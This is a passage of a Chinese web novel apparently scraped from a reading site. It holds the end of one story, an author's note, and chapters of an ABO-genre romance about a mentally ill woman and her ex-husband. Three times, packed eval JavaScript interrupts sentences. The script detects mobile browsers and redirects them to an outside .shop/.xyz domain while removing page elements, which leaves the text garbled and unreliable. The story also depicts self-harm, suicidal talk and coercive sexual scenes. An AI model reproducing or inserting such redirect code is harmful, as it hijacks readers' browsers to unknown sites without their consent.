“我知道文文,文文是为了让其他文文长大之后,能不用走文文走过的路。”沈英抓着她的发丝,阳光下眯起眼睛看他的所爱。 方剑文眼圈泛红,又不好意思地说:“你这一句话说的像十个蚊子在我耳边绕。不过你说得对,”她又雀跃起来,裙摆拢不住,飞在阳光里像是振翅的蝴蝶。 “我没读很多书,但我知道读书是好事,像你一样,或者是像阮芙沈庭一样,看起来就很厉害,不容易被欺负。所以我也想盖一所学校,把那些被讨厌的小孩都收进来。就像在路边捡到一只、一只又一只的流浪小猫。我知道我不可能拯救他们的人生,可是能让他们多读一本书,就很让人开心了。我小时候就想读完初三混个初中文凭再辍学,但是我爷拎着刀在村里砍我,差点没把我打死。我们家的人都这样,总是打架,我就觉得是因为没读书。所以我逃出来之后,想的就是攒钱盖一个大房子,房子里不许打小孩,还要有很多书,很多馒头,还有,很多的爱吧。” 她絮絮叨叨地说,说完之后没注意,身边的沈英哭得满脸都是泪水,发尾被打湿,翘着卷,像猫咪的尾巴,他战栗地将方剑文抱到怀里。 很小心,像拢起破碎的光,也像织补蝴蝶的翅膀。 沈英看着她,眼泪里都是骄傲,他说:“我不厉害,阮芙、沈庭或者说这世上任何一个人,都没你厉害。” “方剑文,这世上没有人像你,独自爬出泥潭,又绕了一圈,回头将花种播下。这世界没人像你,你知道吗?因为你站在光里,你就是光。” “嗨呀我们这土嘎达不能种花的,你看你.......干什么呀非把我说哭了.......”方剑文背过身,胡乱擦了把眼泪,明明不委屈,但扑倒沈英怀里,还是想掉眼泪。 沈英凶口的布料被眼泪打湿,他满脸红潮,却仍温柔地揉着女孩的脖颈。她将脸贴他凶口,哭累了,又抱着他说:“回家给你做个裹凶吧,不然他们老说你乃过孩子。” “乃过啊,你哪天晚上没叼我的?”沈英捏着她的脸笑,眼底清澈温暖。 他现在也是一个幸福的人了,做饭、洗衣,种菜、画画。 他现在被世上最好的方剑文爱着,她爱他,她还说:在我的爱情里,你要排第一。 ——完—— 41.一些碎碎念 铛铛,到今天在jj发文就正式一个月了,新晋榜单曝光结束之后应该就没什么流量了。而且现在总字数已经20w,算是我一开始就预计的体量。 我在考虑还要不要更新这本,小宝们其实我最近比较忙,更的都是之前写的旧文,没有签约也是因为签人的条件比较苛刻,又担心被同行橘报,也考虑到小众题材应该会吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151642|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不饱饭。 所以很感谢小宝们这段时间给我的鼓励意见还有陪伴,只是最近在jj更新应该会不定时,频率会降低,感谢小宝们理解( ??ε?? ) 42.离婚三年后在夜店遇到杏冷淡beta前夫(一) 暴躁缺爱嘴硬白手起家alpha女主×温柔冷静性冷淡男妈妈beta男主 丁水淼×白净秋 *离婚第三年,一向以好脾气闻名业内的丁水淼在夜店遇到陪酒的杏冷淡前夫白净秋,她笑眯眯地把灌他酒的客户开瓢,而后拽着白净秋到车里,扯掉前夫身上最后一块布料时,白净秋摁住了她的手,眼神平静地说:“一次三千,先付后上,我得养孩子,麻烦老板体谅一下。” ------------------------------------- 在白净秋答应我离婚之前,我已经在他面前犯病发疯十几次了。通常他会拉着我到洗手间,放一浴缸温水把我摁进去,白净秋湿漉漉地抱着躯体颤抖的我,语气是一贯的冷静自持:“淼淼,我在这呢,我陪着淼淼,别怕,我永远都陪着你。” “可你根本就不喜欢我!!!白净秋!你谁也不喜欢!” 当时的我状态很差,躯体反应剧烈,不停地颤抖干呕,努力挣开白净秋的怀抱,我双目赤红布满了血丝,被啃得血迹斑斑的手指捏住男人的脸,眼里生生落下一串泪珠,我颠三倒四去问白净秋:“你为什么永远都是那副冷静的样子?白净秋,其实和你结婚的人是谁都不重要,因为你总要找一个人结婚!谁也不可能左右你的人生轨迹,白净秋,你甚至没有信息素,不能被标记!你到底要我怎么相信我对你来说你独一无二的?” 眼泪落在了白净秋下巴上,纤长的睫羽颤了颤,他抬手给我擦眼泪,叹了口气,目光复杂,笑着说:“别哭,淼淼,你是想听我爱你,那我可以说,我爱你,我爱你我爱你,你是我最爱.......” “你闭嘴!!!!” 白净秋平淡的表白声像是刀子,一下一下扎在我心上,我伸手掐住了他的脖子,可触及到他包容而平静的眼睛,我又后退着撒手,跌进浴缸里,我眼泪不断地流,狠狠抓着掐他脖子的手腕,我又噗嗤笑了。 “我确实是个精神病,但白净秋,你也是个怪物!!你哈哈哈哈哈哈哈,你也是个怪物!!求求你了,跟我离婚吧.......” 洗手间安静下来,白净秋喜欢用的青橘调洗衣凝珠的味道在狭窄的空间里弥散,他跪坐在湿漉漉的地板上,瓷砖凝出的水珠啪嗒滴在白净秋额头,唇瓣颤了颤,他努力了几次,扯出抹笑,隔着潮湿而凌乱的发丝,他抬手摸了摸我的头顶,一下一下,带着安抚的意味,白净秋恍若遗憾,叹了口气道:“原来我把淼淼照顾得这么痛苦吗?真是对不起,淼淼,如果离婚是你一定要的,那我怎么能不给你?” 我认识白净秋......应该有十几年吧,他爸妈都是二小的老师,刚搬来红旗路的时候,我跟着爷爷给他家搬家。那时候的白净秋穿着背带裤,衬衫上还打了个红格子的领结。他搬着板凳坐在楼梯口看《昆虫记》,我就故意绕到他面前,风风火火一趟又一趟地跑六楼送东西。只不过白净秋到最后头都没抬,白老师给爷爷结工钱的时候,顺便让白净秋去车上拿两瓶汽水给我。 他合上书,抬眼的瞬间我才看清楚他的脸,荔枝皮似的薄薄一层白嫩皮,内双的丹凤眼,鼻子秀挺而唇瓣粉嫩。总之是个很好看的小孩,但又不出挑。我那时候觉得他像瓶温水,或者十字路口被修剪整齐的小花.......不过我还是羡慕白净秋,有一对知书达理、工作体面的父母,就已经超过了红旗路百分之八十的小孩子们一大截了。 “这个是青苹果味道的,还有橘子味道的,不知道你喜欢喝什么,就都拿了。” 白净秋将怀里的汽水捧给我,声音稚嫩,偏偏语气很老成。我想笑,但下意识却是张嘴朝着他说了声谢谢,说完我自己都愣了。因为平时在红旗路我都是抢别的小孩的零食,只骂过他们全家还没说过谢字呢。 “不用谢,应该谢谢你帮忙搬家呢,我见你看了好几眼这本书,你喜欢吗?送给你吧。” 他说话的声音也好听,像是奶奶给我洗头的时候,厨房水龙头涓涓的水流声。我忽然觉得脸颊有些热,接过他的书,手指小心摩挲了两下封皮,才后知后觉抬头看着他蕴出笑意的眼睛。 “噢,我是、我是那个......呃,丁水淼,你平常没事,不是,我是说你平常有人欺负你了,你可以找我,我一般在路对面的维修铺帮爷爷看店。” “丁水淼?”他慢吞吞地念着我的名字,我捏紧了书脊,像蚂蚁在心上爬一样。终于在我再次想要自暴自弃吼他一顿然后跑掉的前一秒,他歪头看着我的眼睛笑了笑,声音细细而温柔地说:“你真好,我是白净秋,我愿意和你做好朋友。” 去民政局办离婚那天,我大衣里面套着病号服,蹲在民政局门口刚点上烟,一只白皙干净的手就熟稔地掐灭了烟,我抬头,白净秋还是那副干净温柔的模样,蹲下身,他解掉围巾为我系好,眼眸弯了弯,率先开口:“今天降温了,你每次换季都要感冒,以后自己要注意点身体。” 灰色围巾残留着青橘香气和白净秋的温度,我苦笑,抬头看着眼前的人,干净体面,公事公办地像是来谈合同。 “我本来也就没打算活多久。”扯着疗养院的病号服给他看,我下意识想向白净秋抱怨病号餐每天淡的就像清水煮的一样,但张嘴后又想起我们是来离婚的。于是拢了拢大衣直起身,我瞥了白净秋一眼主动朝民政局走过去:“不说这些了,赶紧办吧,不耽误你上班。” 走出很久,我发现身后没有脚步声,扭过头发现白净秋才站起来,脚步猛地有些踉跄,发现我在看他,忽而挽起唇瓣,主动跟上来笑着说:“没关系的,我请了一天假。” “哦,那你这个月全勤要没了。” 我漫不经心地回答,但脑子里却控制不住地想起,白净秋这种人,向来没有请假这个说法。即使晚上被我弄得再狠,破皮红肿,走路膝盖打颤,但第二天依旧会定七点半的闹钟,洗漱收拾,然后给我做好早餐,自己按时去公司打卡上班。 有时候在情欲最顶峰,埋进白净秋身体里,被他搂着脖子抱进怀里,我仍然会控制不住地去想.......或许沉浸在此刻的人只有我,白净秋不激动也不拒绝,他只是承受,因为这是beta的天性,因为社会规训他这样做。 “没关系的,淼淼,你留给我一半资产和房子车子,我欠你的,我以后还是会替你照顾爷爷。” 白净秋主动走到我身侧,又靠近了似乎想说什么。但民政局里暖气开的太热,青橘香气蒸腾,我捂住嘴止不住恶心,下意识推开他跑到窗户边透气。白净秋愣愣地站在那里,身子还保持着微倾的姿势,目光隐忍复杂,最后收回手,歉意地站在原地朝我笑:“对不起,淼淼,我不动了,我会离你远一点。” 他垂下眸子,声音又渐渐低下去,我努力听了好久,才辨认出是一句道歉——对不起,淼淼,我不知道你这么讨厌我。 我站在原地只是蹙眉看着他,病号服宽大的袖子里,我又不受控制地开始扣手臂上结痂的刀痕,护士今晚估计会骂我,但无所谓了。 这么想着,我开口对白净秋说:“讨厌你,白净秋,我就是讨厌你。” 血珠流进指缝,温热黏腻,我脸色发白,又想吐但咬住舌尖强迫自己清醒,默默注视着他颤动剧烈的睫羽,我忍着血腥味说:“你需要的从来都只是一个妻子,白净秋,任何人都可以是你的妻子,你可以随便和任何人在一起。但我不行,如果感受不到浓烈到窒息的爱意,那你的包容照顾和施舍,我也一个都不要。” 白净秋隔了几米远站在玻璃窗下面,养过过滤出青黄的颜色落在他身上,白净秋低着头,身形单薄得像秋天凋零的梧桐叶。我这才看出来他瘦了很多,穿着廓形大衣也只是为了遮掩。 他一直安静地站在那,知道我不耐烦朝前走的时候,白净秋轻声在笑,眼尾点点碎光,看着我平静地陈述:“可是丁水淼,我没有嫁给别人呀,我就嫁给你了。” 办理离婚的流程很快,钢印一戳,压根没有反悔的机会。我随意将离婚证塞进病号服的口袋里,看着白净秋又发现没什么好说的,索性摆摆手准备到自己到路边拦辆车回疗养院。 但衣领被揪住,白净秋又叫住了我,秀美的面容上是得体温和的笑意,他说:“等一下,我来的时候给你带了便当,我想着疗养院的饭菜因为口味淡,你吃不习惯,所以就擅自给你做了些你平常喜欢吃的。偶尔破戒一次应该没关系的。” 真讨厌....... 手心被扣烂,我不停地在心里说着讨厌白净秋,但脚步定住,身体违背我的意志,苍白地站在原地,注视着白净秋跑到车里给我拿饭盒。 我早就让白净秋换车了,这些年一直在做生意,时好时坏但也赚了不少钱,但白净秋总是说,这辆车是毕业之后我们两个人攒钱买的第一辆车,看见这辆车就看见了当初我们挤在一居室里的落魄时光,他舍不得换,他很想念那个时候。 这个说法,我不大信。因为白净秋从来都不是个重感情的人,不换车的原因更有可能是他家风如此,况且又生性低调。 “鱼香肉丝、青椒炒肉还有麻婆豆腐,对了,我还给你炸了五个虎皮鸡蛋,你带到疗养院去吃。”白净秋将饭盒递给我,隔了几步没再靠近。我点点头接过饭盒,想说声谢谢,但眼眶疼得我慌忙转身,泪珠瞬间掉下来,我觉得那一刻我哭得肯定像个疯子。 我才不讨厌白净秋呢。 天知道从小到大,我讨厌那么多人,但就是只喜欢他。 但我和白净秋,就像白老师说的一样,完全就是脱轨的摩托和定点的公交,压根不合适。他家里看不上我天南海北的做生意,只想白净秋嫁个老师或者公务员,一辈子守在小城里,安居乐业相妻教子。当初白净秋偷偷改志愿报考外省的大学,他爸妈气了一个暑假,把他关在家里不让出去。那时候我和老吴他们在夜市摆摊,每晚后半夜收摊回家,走到小区楼下,就用手电筒照几下他的卧室窗户。作息规律的少年会定个表,在我回来的时候偷偷跑下楼。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215015|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般我会给白净秋带夜市上的炒酸奶或者雪花酪,他用勺子挖着一口一口地吃,吃完之后就主动搂住我的脖子,微微张开被冻得湿润嫣红的唇瓣,任我抵在路灯下侵占。 后来上了大学,白家父母见儿子态度实在坚决,况且我爷爷还每天一只鸡一只鹅的去白家献殷勤。白老师也松了口,但还是要求我必须在H市有房有车有事业,站稳脚跟后才能娶白净秋。 “别怕,淼淼,你现在想结婚,我现在就能去偷来户口本跟你去民政局。别听我爸妈的,你怎么样都好。” 白老师提出要求后,我立刻就答应,而出门后白净秋反而有些焦虑,拉着我的手,他一遍遍保证,不停地问我要不要立刻结婚。那天我想大概白净秋也有一点真心吧,但或许也只是他想要践行从一而终的原则,不管从的是谁,他都能强迫到自己坚持到最后。 兜里手机响了,我走过十字路口,白净秋已经看不到了。拿出来手机接通电话,宋医生责怪地问我怎么跑出去这么长时间。我听着电话对面的声音,灵魂却陷入巨大的真空当中。愣了很久,直到一个穿校服的小姑娘递过来纸巾,我接过之后才发现,满脸冰凉的泪水,我声音都哭哑了,跌坐在川流不息的马路旁边,嚎啕大哭。 “对不起对不起对不起对不起对不起对不起对不呜..........” 对不起呀,白净秋,是我不该有病,我耽误了你的从一而终。 ------------------------------------- 离婚之后的第一年,我把一半积蓄都砸在了心理咨询上,几乎问遍了全国能排得上号的心理医生,连庙里的和尚都没放过。我不停地和他们聊,聊我刚出生一个月就因为疲劳驾驶开货车侧翻的爹,聊我三岁时候受不了抑郁症喝了农药的妈,还有开修理铺捡破烂找零活养活一家人的爷爷,以及脾气暴躁护短蛮横最后老年痴呆去世的奶奶。有个国外的医生说我是原生家庭受创,属于幼儿时期安全感缺乏导致的病态心理。他说的应该有点道理,但是当我被要求和想象当中的家人对话时,我张了张嘴,迟疑几秒到底是说不出来一个字。 “能换个对象吗?我只能对他说得出来心里话。”我问医生,但他反问我那个人是谁。 “前夫,刚离婚,我想问问他阳台的绿萝浇没浇水;金九路的老杨桂花糕不干了,新开的店址他知不知道?做酸菜鱼的时候,他买的哪个牌子的调料?还有保暖内衣洗缩水了怎么办?我之前经常喂的流浪猫被领养了没有?还有我.......” 医生停下了笔,目光透过眼镜片冷静地剖析着我。我有些窒息,摸着喉咙喘气,躯体逐渐颤抖,眼眶中一颗颗滚出泪珠。医生摁住我的肩膀,但我却死死抓住他的手臂,惊恐至极地承认:“离开他也不快乐,我.......我想要的爱.......” 在白净秋身上才算存在。 心理治疗的最后结果,我在路边问了个卖膏药的老瞎子,他收我一百四十七块钱,然后算了一卦,指了指西北,残阳如血,他说无源之地才有我的机缘,往前一步,才能走出心魔。 这老头说话和放屁没什么两样,但我有病,我想要信。用身上最后一点钱买了去西北的车票,一路停停走走,靠着修车打零工赚路费,在我把西北全境给跑完之前,还是遇到了被向导抢钱之后丢到沙漠里的武孜。 他是个长发及腰的alpha,一开始没说话我以为他是个高挑的姑娘,背着他走出一段距离到房车之后,他才支着身子,扒光衣服叫我给他打水洗澡。 神经病。 我瞥了一眼,立刻就断定了他是个神经病。 这种同类的气息很微妙,大概武孜也有所察觉,所以脱衣服很干脆,还故意激我:“怎么?看着我比你的大,自卑了?” “自卑不了一点,不过看你这么癫,我倒是有点自愧不如。” 将擦车的破毛巾扔到武孜头上,我拉开车门要把他拽下去,但男人看着瘦弱,力气却很大,死死扒着车门,反而弯唇大笑起来:“疯子,可算是让我碰到了一个疯子。” 光着身子,武孜直接长手长脚地抱住了我,整个人软得像条蛇一样,盘在我身上,酒红色的长发披散在肩头,他笑盈盈地,额头相抵,注视着我的瞳孔,兴奋雀跃地说:“你不能丢掉我。我们是一类人啊,你知道的,你很难在遇到,像我一样,这么像你的精神病哈哈哈哈哈哈.......” 武孜说的很对,我们确实很像,癫狂、神经、为所欲为,甚至于我们长得都有几分相似,常年不见阳光的苍白肌肤,黝黑空洞的眼睛,五官凌厉,左边脸颊坠着一颗褐色的小痣。 每次看到他,我都有种照镜子的恍惚。他故意在超市偷东西,我也只是看着,没和他一起但也不制止。武孜得手的话,我会和他一起坐在路边把偷来的饼干一起吃完。偶尔他被发现,我就陪着武孜一起打架或者挨揍,在鼻青脸肿的瞬间抬头看着对方,他笑我也笑了,好一对疯狗。 43.离婚三年后在夜店遇到杏冷淡前夫(二) 和武孜流浪完西北,我们在那木山脚下过夜的时候,他哆哆嗦嗦地和我挤在一起,没头没尾地说:“丁水淼,我其实很有钱。” 我抬眼看着他,武孜刚偷啃完我的番薯,嘴角还沾着炭烤的渣渣,抬手帮他抿掉,我无所谓地点头:“那很好啊,我没钱,从小我就没钱,后来有了一点钱,一半给前夫了,一半给精神病院了,现在是个穷光蛋。” 这是武孜第一次听我提起白净秋,眼睛瞪大了些,攥着我的手腕用力晃了几下,追着问道:“前夫?你还有前夫啊?你这种精神病居然也有人要?那是个什么人啊?也是脑子有病么?” 一般武孜胡言乱语,我并不在乎也不管他,但这次我猛地拽住他的头发,冷冷地睨着他,语气没有一丝波澜地警告他:“他没有病,他很好,他是个命中注定就要平平稳稳、子孙满堂、幸福终老的人。” 武孜被我揪了头发,也没生气,只是安静几分钟之后,又缠住我的手臂,钻进我的毛毯里,他又问:“那个注定要幸福的人比我漂亮吗?” “没有。” 白净秋并不显眼,从上初中开始,大家有了美丑的概念之后,我莫名其妙会受到一些关注,好的坏的都有,但白净秋却一直很沉默,偶尔被同学提起,也只是他们口中学习成绩很好家境不错的男生。初三我第一次跟白净秋表白,他红着脸抢过自己的书包,摇了摇头看着我说:“别拿我开玩笑了,淼淼,你这么好看,很多人喜欢的,怎么可能会轮到我?” 说实话我没有太多美丑的概念,爷爷藏在铁皮盒子的老照片里,我见过我的妈妈,是个十分美艳凌厉的女人。我大概长得很像她,不笑时即使很凶,也总有人不要命地贴上来表白。可我不太喜欢他们,也不喜欢我自己。在我眼里,美的概念是睡觉前奶奶在客厅给我补衣服的那盏灯,是爷爷每到周末都会特意烧得糖醋鱼........美是白净秋每天上学前多给我拿的一瓶温牛奶,是生病时小男生踩着板凳给我卧的一碗荷包蛋.......美是白净秋,他是我的美人,是我强求一辈子却始终只差一步的归属与托举。 后来高二我因为和外校的徐从他们打架,被学校通报批评,甚至把爷爷都叫来准备开除我。当时我胳膊断了,还夹着钢板,靠在办公室的门口,我疼得没有什么多余的情绪,只是按照爷爷的示意一遍遍鞠躬朝老师道歉。那秃头还想再多刁难几句,大概因为我从来没给他送过礼吧。厚厚一沓教案本砸在我身上,秃头站起来还不解气,准备走过来揪我头发的时候,白净秋从走廊拐角,气喘吁吁地冲过来将我拉到身后。他死死扣着我的手,少年双眼通红,单薄的身子虽然怕的颤抖,但仍旧愤怒地直视着教导主任,白净秋说:“徐从他们先挑的架,他们说淼淼抢了徐从的女朋友。但淼淼没有,她只有我一个男朋友,是徐从错怪淼淼还围殴她。学校不保护我们学校的学生,反过来还要惩罚她吗?!” 我倒是不记得白净秋什么时候答应做我的男朋友了,但他这样说,我当然只会紧紧牵住他不松开。后来白净秋又和秃头在说什么,我听不清楚了,偏着头一直看他,日光为少年清秀瓷白的面容铎了一层毛绒绒的金芒。我想起奶奶供奉在客厅的那尊瓷观音,祂从来没有保佑过我们家。但我知道,白净秋会保佑我,他是我的观音。 最后秃头给我记了一次处分,到底没再说退学的事情。我猜大概是白老师给他送了不少礼,秃头怕白净秋硬要把事情闹大,曝光早恋的话,对他也不好。爷爷始终没有说什么,又给我饭卡里充了两百块就回家去了。回教学楼的路上,白净秋还啜泣着一直牵住我的手,目光落在那条被固定的胳膊上,他的眼泪又一颗一颗不停地涌出来。 我有些不知所措,捧住他的脸想去亲。但白净秋偏过了头,噙着泪的眼睛哀伤地望着我,质问道:“淼淼,你打架的时候,就没想过受伤的话,会让我很难过么?” “我......我不知道,对不起........” “不要跟我说对不起,淼淼,”白净秋主动搂住我的脖颈,湿漉漉的脸颊蹭到我的脸上,声音放轻了,温柔得像哄小孩子,他亲了亲我的额头,说:“我要你以后爱你自己,丁水淼,不管你以后是打架还是发疯,你要记着,我会难过的,我会因为你把眼睛哭瞎。” “你心疼心疼我,淼淼,别伤害自己了。” 武孜后来又追着问了很多,我不想回答,就蒙着头装睡,他得不到回应嘟囔几句,也就搂住我的脖子睡觉了。那一夜我时隔半年又梦到了白净秋,在梦里是春节,他抱着孩子从陌生女人的车上出来,白家父母站在小区楼下笑吟吟地接过孩子逗弄,白净秋就牵着女人慢悠悠地跟在父母身后回家。梦里我还是一个人,蹲在爷爷的修理铺前面淘芹菜,爷爷叮铃哐当地剁肉馅,一边剁一边骂我:“你看人家白老师的儿子,一毕业就相亲,和市二中的老师结婚生孩子,现在成家立业,一家人多热闹。你呢,天南海北地乱跑,过年连个屁都领不回家!!” “嘁,您要屁的话,我现在努努都能给您放一个。”我和姥爷贫嘴,但洗菜的盆子却泛起一圈圈涟漪,原来是我的一滴滴眼泪掉了进去。 哭什么?我忍不住骂自己,明明这本来就是白净秋应得的结局。 第二天武孜拉着我去山顶看日照金山,我没什么兴趣,就扛着相机帮游客拍照挣路费。太阳完全升起的瞬间,武孜跳到我背上,笑嘻嘻地圈住我的脖子,我被迫托住他的腿弯,但侧脸又被他亲了一口。 武孜又发疯,眼瞳金灿灿地问我:“跟我回家吧,丁水淼,我有钱,你陪我。” “好。” 我侧头和武孜对视,斜后方有人拿出相机照下这一幕,相机里两个苍白艳丽的人发丝纠缠,身披金芒,眼瞳里凝着同样的疯狂,一个雀跃地在笑,一个冷漠地附和。 那人将照片送给我们,又问:“你们好漂亮,是情侣吗?” 武孜正在给我绑头发,我翻着手机订机票回他家乡,闻言抬起头,想了想,我回答:“不是情侣,是病友。” 是同路人。 ------------------------------------- 我有想过武孜有钱,但没想武孜他妈妈就是全国数得上名字的物流公司的老板武致芳。刚知道的时候,我有点被自己给穷笑了。但武孜情绪倒是不高,尤其是和武致芳待在一起的时候,总是会控不住地啃手或者抖腿,后背冒冷汗,总想往我怀里躲。 武致芳对此见怪不怪,瞥了眼武孜的窝囊样子,就将目光移到我身上,问我要什么。 我想了想,在哪赚钱不是赚钱,赚谁的钱不是钱,于是回答说:“我和武孜想一起开公司,想要您给我们投点钱。” 武致芳肩膀泄力,靠回椅子里,点了根烟,笑起来说:“有点脑子,但应该不多。” 没理会她的讥讽,我站起身,袖子还被武孜牵着,我抬手掐灭了武致芳的香烟,理所当然道:“不要在室内当着两个生病的人抽烟。武总,你有点素质,但也不多。” 抓风口开了家MCN公司,签了几个达人,我们运气比较好,很快火了,小赚一笔,第二年开了分公司到H市。武孜不想和武致芳离太近,就拽着我一起和他飞到H市。 隔了一年半又回来,之前和我一起干外贸的生意伙伴约了几场酒局,武孜心血来潮打扮成OMEGA陪我赴宴,喝酒的时候那些男的眼珠子都要掉他身上了。我无奈给他用餐巾纸挡住他的领口,武孜托腮笑眯眯地望着我,而那些老狐狸们则心领神会,默默收回视线,站起身来说祝酒词:“祝丁总和夫人长长久久,早生贵子!!!” 我没有和他们解释武孜的身份,一方面因为不重要,另一方面,我大概是在害怕,听到白净秋结婚的消息时,我当真身边空无一人。 武孜刚有些醉意,热燥地扯自己的衣服,我怕他发疯,就准备架着他离开。临座的王楠却拦住我们,眨着眼笑得恶心,拍了拍手说:“别急啊,丁总,好戏才开始唱呢。” 包厢里灯光变暗,一群穿着清凉的男男女女涌进来的时候,我揽住武孜的肩膀,蹙起眉头想要骂人。没有仔细去看眼前这些陪酒的“服务员”,我起身要走,武孜却嗤嗤笑着环住我的腰,硬把我拉回去,然后坐到我腿上。 我知道他人来疯,其他老板则以为武孜是个狂野omega,就喜欢这种纸醉金迷,于是更放纵起来,一个个揽住自己心仪的对象,又是灌酒又是乱摸的,房间里气味和笑声都嘈杂起来。 武孜想跳到台上唱K,我拉着他,脱掉外套让他穿上。他笑嘻嘻地招手,又低头故意亲我的唇角,模糊光线下像是在交颈缠绵。房间里其他人起哄笑起来,我没理会,给他扎了下头发就放武孜上台。 他在上面唱着,我有些无聊,倒了杯酒,心里却猛地一颤,若有所感似的朝着左后方望去。卡座的角落,只见王楠正捏着一个瘦弱男人的下巴灌酒,因为他身形臃肿,挡住了那男人的脸,但我还是看清了用力扣着皮质沙发的修长手指,还有那无名指上闻的一圈细密的“水”字。 脑子嗡了一下,颤颤巍巍修补的弦又断开了。 白净秋在大学时曾经被学长追求过,那男生说喜欢他宜室宜家,以后一定是个贤妻良夫。他跟白净秋表白的时候,我就站在旁边,他瞟了我几眼,又点评道:“学妹你生的很好看,但气质太凌厉,有些克夫,只适合谈恋爱,不适合结婚。可惜了,我是个以结婚为目的的人.......” 没等那人说完,我扔掉书包就想揍他的窝瓜脸,但白净秋却拽着我的胳膊,虽然生气,却还保持着风度和礼貌地回绝:“学长错爱了,我已经和淼淼谈很久,我以后再怎么宜室宜家,也只会在淼淼家里。” “怎么可能?你们看起来一点都不搭啊??” 那男生犹不死心,还在那嘟囔,我已经甩开白净秋自己先走了。刚坐上校车,他也气喘吁吁地跑上来挤到我身边,白净秋下巴搭在我肩膀上,捏着我的脸问:“因为刚才那个人说我们不般配,淼淼又生气了吗?” 我撇过脸,不知道怎么和他解释,其实我一直都陷在随时失去他的恐惧里。我和白净秋不般配,这是我心知肚明的,但骤然被揭穿,我却还是觉得心里被透了个洞,空荡荡的灌满了风。 身体又开始发抖,这是我心理疾病的躯体表现。白净秋熟捻地抱住我,青橘的香气氤氲在彼此的呼吸之间,他贴了贴我的唇瓣,忽然眼瞳一亮,笑着抓我下了校车,直奔新开的刺青店。 他给我买了一个奥利奥甜筒,让我坐在刺青店门口等他。白净秋进去的时候,我拉着他说:“你弄了刺青,以后就不能考公了,白老师会杀了你的。” “我不想考公呀,我的理想是当淼淼的丈夫,相妻教子,宜室宜家。” 白净秋眨眼笑了笑,而后弯腰亲亲我的额头,转身推门进了刺青店。我吃完甜筒,呆了一会又去买了包果冻,刚撕开,白净秋就出来了,刚纹上的刺青缠在他的无名指上,像条虫子。我努力辨认了很久,才发现是一圈密密麻麻的水字。一瞬间,我空荡荡的心里也灌进了一江春水。看着白净秋,想说些什么,眼泪先掉了下来。 他又低头给我擦眼泪,而后笑吟吟地晃了下手指,对我说:“这是以后要戴淼淼送的婚戒的手指,先给淼淼占着位置,不急,你就是不送,我也会给你留一辈子的位置,在无名指上。” “我虽然没多么有用,但我是你的呀,淼淼,只是你的。” 酒瓶砸在王楠头上的时候,碎发溅起刮伤了我的脸,没有感到疼痛,我整个人忽然就被拽进巨大的真空中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14215016|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一头失智的猛兽,我只是看着衣衫凌乱缩在墙角的男人。 他头发长了,凌乱的遮在眼前,皮肤苍白,隐约可见几条细纹。白净秋怎么就老了呢?我想不通这个问题,只是全凭心意,扯住他的胳膊将人直接拖出包厢。 身后众人怎么看,我并不在意,连武孜我也不在意,他肯定能猜我为什么这样做。一路上的景色在我眼里是模糊的,雾蒙蒙,但只有牵着的白净秋的手温暖而真实,他踉踉跄跄地跟着我,并没有挣扎,只是在我摩挲他掌心的时候躲了一下。 手心多了层茧子,白净秋究竟背着我吃了多少苦?我又开始生气,无名的愤怒冲淡了理智,打开车门将他塞进去,我直接攥住他的两只手腕,抽掉白净秋的皮带,裤子被褪掉,松松垮垮的廉价衬衫被扒到肩头,我用膝盖抵在他的腿缝,要脱掉最后一块布料时,一直沉默着承受的男人却挡开了我的手,他抬眼,布满血丝的眼瞳一片死寂,公事公办的,白净秋开口道:“一次三千,先付后干,我得养孩子,麻烦老板体谅一下。” 孩子? 这两个字扎在我心上,愣在那一直反应了好一会,车库里有人路过,白净秋身子猛地瑟缩一下,我这才后知后觉松开他,跌坐在座椅里。唇瓣张了张,喉咙却忽然干涸地说不出一句话,缓了好久,才捡起衣服给白净秋盖住,打开车里的暖气,我问他:“那孩子妈不给你钱吗?” 我很难有孩子,因为之前心理治疗吃了很多乱七八糟的药物,婚检前医生说如果是omega的话,信息素匹配度高的话,可能还有几率怀上我的孩子。但对于beta来说,我几乎不可能让对方怀孕。 当时这个检查结果一出来,我反倒有种诡异的平静,我就知道这天杀的倒霉命不可能让我这么幸运娶到白净秋。爷爷第一时间知道了这个结婚,抽了一晚上的烟,第二天跟我说:“白老师一家都是好人,这些年也帮了咱爷俩不少,咱不能恩将仇报耽误人家儿子了。算了吧,淼淼。” 我埋头喝着玉米粥,很稠,眼泪砸进去就是一个坑。我点头答应,但还没吃完早饭,白净秋却着急地跑过来抱紧我,仍旧是他第一时间发现我在哭,心疼地蹭了蹭我湿漉漉的脸,白净秋牵着我转身,毫无征兆地扑通给爷爷跪了下去。 